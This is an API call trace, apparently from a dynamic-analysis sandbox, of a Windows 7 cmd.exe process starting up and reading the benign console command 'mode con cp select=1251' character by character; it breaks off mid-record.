[0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a3c7b50, cchData=8 | out: lpLCData=":") returned 2 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x31f720, cchData=128 | out: lpLCData="0") returned 2 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x31f720, cchData=128 | out: lpLCData="0") returned 2 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x31f720, cchData=128 | out: lpLCData="1") returned 2 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a3da740, cchData=8 | out: lpLCData="/") returned 2 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a3da4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a3da460, cchData=32 | out: lpLCData="Tue") returned 4 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a3da420, cchData=32 | out: lpLCData="Wed") returned 4 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a3da3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a3da3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a3da360, cchData=32 | out: lpLCData="Sat") returned 4 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a3da700, cchData=32 | out: lpLCData="Sun") returned 4 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a3c7b40, cchData=8 | out: lpLCData=".") returned 2 [0086.276] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a3da4e0, cchData=8 | out: lpLCData=",") returned 2 [0086.277] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0086.277] GetProcessHeap () returned 0xd0000 [0086.277] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x20c) returned 0xe9620 [0086.277] GetConsoleTitleW (in: lpConsoleTitle=0xe9620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.278] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.278] GetFileType (hFile=0xf4) returned 0x3 [0086.278] BrandingFormatString () returned 0xe9840 [0086.282] GetVersion () returned 0x1db10106 [0086.282] _vsnwprintf (in: _Buffer=0x31f890, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x31f828 | out: _Buffer="6.1.7601") returned 8 [0086.282] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.282] GetFileType (hFile=0xf4) returned 0x3 [0086.282] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a3d6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0086.283] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a3d6340, nSize=0x2000, Arguments=0x31f830 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0086.283] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0086.283] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x31f7b8, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f7b8*=0x24, lpOverlapped=0x0) returned 1 [0086.283] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f858 | out: _Buffer="\r\n") returned 2 [0086.283] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.283] GetFileType (hFile=0xf4) returned 0x3 [0086.283] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0086.283] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x31f828, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f828*=0x2, lpOverlapped=0x0) returned 1 [0086.283] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x31f858 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0086.283] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.283] GetFileType (hFile=0xf4) returned 0x3 [0086.283] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0086.283] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x31f828, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f828*=0x3f, lpOverlapped=0x0) returned 1 [0086.283] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f858 | out: _Buffer="\r\n") returned 2 [0086.283] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.283] GetFileType (hFile=0xf4) returned 0x3 [0086.283] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0086.283] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x31f828, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f828*=0x2, lpOverlapped=0x0) returned 1 [0086.284] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77a10000 [0086.284] GetProcAddress (hModule=0x77a10000, lpProcName="CopyFileExW") returned 0x77a223d0 [0086.284] GetProcAddress (hModule=0x77a10000, lpProcName="IsDebuggerPresent") returned 0x77a18290 [0086.284] GetProcAddress (hModule=0x77a10000, lpProcName="SetConsoleInputExeNameW") returned 0x77a217e0 [0086.284] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.284] GetFileType (hFile=0xe8) returned 0x3 [0086.284] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0086.284] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x31f680 | out: TokenHandle=0x31f680*=0x0) returned 0xc000007c [0086.284] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x31f680 | out: TokenHandle=0x31f680*=0x50) returned 0x0 [0086.284] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x31f690, TokenInformationLength=0x4, ReturnLength=0x31f698 | out: TokenInformation=0x31f690, ReturnLength=0x31f698) returned 0x0 [0086.285] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x31f698, TokenInformationLength=0x4, ReturnLength=0x31f690 | out: TokenInformation=0x31f698, ReturnLength=0x31f690) returned 0x0 [0086.285] NtClose (Handle=0x50) returned 0x0 [0086.285] GetProcessHeap () returned 0xd0000 [0086.285] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeaae0 | out: hHeap=0xd0000) returned 1 [0086.285] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f398 | out: _Buffer="\r\n") returned 2 [0086.286] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.286] GetFileType (hFile=0xf4) returned 0x3 [0086.286] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0086.286] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x31f368, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f368*=0x2, lpOverlapped=0x0) returned 1 [0086.286] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0086.286] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0086.286] _vsnwprintf (in: _Buffer=0x4a3beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f3a8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0086.286] _vsnwprintf (in: _Buffer=0x4a3beb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x31f3a8 | out: _Buffer=">") returned 1 [0086.286] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.286] GetFileType (hFile=0xf4) returned 0x3 [0086.286] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0086.286] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x31f398, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f398*=0x14, lpOverlapped=0x0) returned 1 [0086.286] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.286] GetFileType (hFile=0xe8) returned 0x3 [0086.286] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.286] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.286] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0086.286] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.286] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.286] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0086.286] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.286] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.286] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0086.286] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.286] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0086.287] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.287] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.287] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0086.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0086.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: 